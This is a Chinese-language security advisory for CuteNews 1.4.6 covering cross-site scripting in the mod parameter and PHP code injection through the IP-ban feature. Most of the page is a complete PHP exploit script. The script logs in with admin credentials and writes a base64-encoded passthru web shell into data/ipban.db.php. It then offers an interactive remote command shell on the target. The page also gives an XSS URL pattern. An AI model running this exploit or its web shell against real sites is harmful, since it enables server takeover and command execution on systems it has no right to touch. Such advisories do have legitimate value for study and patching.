发布日期：2009-01-08
更新日期：2009-01-12

受影响系统：

CutePHP CuteNews 1.4.6

描述：

---

BUGTRAQ  ID: 33167

Cutenews是一款功能强大的新闻管理系统，使用平坦式文件存储。

Cutenews的index.php文件没有正确地验证对mod参数的输入便返回给了用户，这允许攻击者执行跨站脚本攻击；此外在阻断IP地址时没有正确的验证对add_ip参数的输入便储存在了data/ipban.db.php文件中，这可能导致注入并执行任意PHP代码。成功利用这个漏洞要求管理权限且禁用了.htaccess文件支持。

<*来源：athos （staker@hotmail.it）
  
  链接：http://secunia.com/advisories/33447/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/php -q
<?php

/*********************************************************************
* CuteNews <= 1.4.6 (ip ban) XSS / Remote Command Execution Exploit *
* by athos - staker[at]hotmail[dot]it                               *
* http://cutephp.com                                                *
*-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
* Remote Command Execution                                          *
*-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
* you need a super account (administrator)                          *
* so you can write in ipban.db.php anything ;)                      *
*                                                                   *
* works regardless of php.ini settings! enjoy your ais              *
* note: this vuln is a privilege escalation                         *  
*                                                                   *
*-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
* Cross Site Scripting                                              *
*-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*          
* http://[host]/[path]//index.php?mod=[Javascript Code]             *
*********************************************************************/

error_reporting(0);

list($cli,$host,$path,$username,$password) = $argv;

if ($argc != 5) {  
    
    print "\n+-------------------------------------------------------------+\n";
    print "\r| CuteNews <= 1.4.6 (ip ban) Remote Command Execution Exploit |\n";
    print "\r+-------------------------------------------------------------+\n";
    print "\rby athos - staker[at]hotmail[dot]it / http://cutephp.com\n\n";
    print "\rUsage: php xpl.php [host] [path] [username] [password]\n\n";
    print "\rhost     + localhost\n";
    print "\rpath     + /cutenews\n";
    print "\rusername + admin username\n";
    print "\rpassword + admin password\n\n";
    exit;      
}        

exploit();

function login () {
    
    global $username,$password;
    
    $cookies .= "username={$username}; md5_password=";
    $cookies .= md5($password);
    
    return $cookies;
}    


function check_login() {
    
    global $host,$path;
    
    $auth .= login();
    
    $data .= "GET /{$path}/index.php HTTP/1.1\r\n";
    $data .= "Host: {$host}\r\n";
    $data .= "User-Agent: Lynx (textmode)\r\n";
    $data .= "Cookie: $auth;\n";
    $data .= "Connection: close\r\n\r\n";
    
    if (preg_match('/Welcome/i',$data)) {
        return true;
    }
    else {
        die("Login Failed\n");
    }    
}


function exploit() {

    global $host,$path;
    
    $login  = login();
    $shell = "PD9waHAgDQpwYXNzdGhydSgkX0dFVFsnYyddKTsgDQo/Pg==";
    
    $shell = base64_decode($shell);
    $post  = "add_ip={$shell}&action=add&mod=ipban";
    
    $data .= "POST /{$path}/index.php HTTP/1.1\r\n";
    $data .= "Host: {$host}\r\n";
    $data .= "User-Agent: Lynx (textmode)\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $data .= "Cookie: $login\r\n";
    $data .= "Referer: http://{$host}/{$path}/index.php\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "Content-Length: ".strlen($post)."\r\n\r\n";
    $data .= "{$post}\r\n\r\n";
          
    if (eregi('passthru',data_send($host,$data))) {
        yeat_shell();
    }
    else {
        die("Exploit Failed!\n");
    }                
}


function yeat_shell() {
    
    while (1) {
        echo "yeat[shell]~$: ";
        $exec = stripslashes(trim(fgets(STDIN)));  
        
        if (preg_match('/^(exit|--exit|quit|--quit)$/i',$exec)) die("\nExited\n");
        if (preg_match('/^(help|--help)$/i',$exec)) echo("\nExample: uname -a\n");
        if (preg_match('/^(about|--about)$/i',$exec)) echo("\nstaker[at]hotmail[dot]it\n");
        
        print data_exec($exec);    
    }
}


function data_exec($exec) {
    
    global $host,$path;
    
    $exec = urlencode($exec);
    $data .= "GET /{$path}/data/ipban.db.php?c={$exec} HTTP/1.1\r\n";
    $data .= "Host: {$host}\r\n";
    $data .= "User-Agent: Lynx (textmode)\r\n";
    $data .= "Connection: close\r\n\r\n";
    
    $html = data_send ($host,$data);
    $html = str_replace('|0||',null,$html);
    return $html;
}


function data_send ($host,$data) {
  
    if (!$sock = @fsockopen($host,80)) {
        die("Connection refused,try again!\n");
    }   fputs($sock,$data);
    
    while (!feof($sock)) { $html .= fgets($sock); }
    
    fclose($sock);
    return $html;
}

建议：

---

厂商补丁：

CutePHP
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

www.CutePHP.com.

浏览次数：3852
严重程度：0（网友投票）